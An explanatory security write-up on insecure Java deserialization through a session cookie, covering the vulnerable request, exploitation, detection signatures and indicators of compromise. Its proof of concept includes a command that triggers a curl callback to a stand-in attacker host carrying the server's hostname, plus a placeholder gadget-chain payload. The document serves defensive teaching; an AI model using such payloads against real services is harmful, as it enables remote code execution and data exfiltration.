Insecure deserialization occurs when an application reconstructs objects from data it does not control, using a mechanism capable of instantiating arbitrary types or invoking side effects during reconstruction. The result can be remote code execution, one of the most severe outcomes in web security.
The vulnerable flow
The example service accepts a base64-encoded session object in a cookie and deserializes it on every request to restore user state.
GET /account HTTP/1.1
Host: shop.example
Cookie: session=rO0ABXNyAB...==
Accept: text/html
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
<h1>Welcome back, Dana</h1>
Because the server trusts the cookie’s contents, an attacker who can craft a valid serialized object controls what gets instantiated during deserialization.
Exploitation
The attacker replaces the benign session blob with a crafted object that triggers a command during deserialization. The changed line is highlighted below.
GET /account HTTP/1.1
Host: shop.example
Cookie: session=<gadget-chain payload: exec("id")>
Accept: text/html
A minimal proof of concept confirms execution without doing harm:
# Generate a payload that runs a harmless, observable command
$ payload=$(cshgadget --chain Demo --cmd "curl http://attacker.test/\$(hostname)")
# Replace the session cookie and send one request
$ curl -s https://shop.example/account -H "Cookie: session=$payload" -o /dev/nullDetection
Detection
Look for serialized-object signatures arriving from clients and for unexpected child processes
spawned by the application. Java serialized streams begin with the magic bytes AC ED 00 05
(base64 rO0AB); flag these in cookies, form fields, and request bodies.
alert http any -> $APP any (msg:"Serialized object in cookie";
content:"session=rO0AB"; http_cookie; sid:2026001;)Indicators of Compromise
| Type | Indicator | Note |
|---|---|---|
| HTTP header | Cookie: session=rO0AB… | Java serialized stream in base64 |
| Process | java → sh -c "curl …" | Unexpected child process |
| Network | http://attacker.test/* | Outbound callback from app host |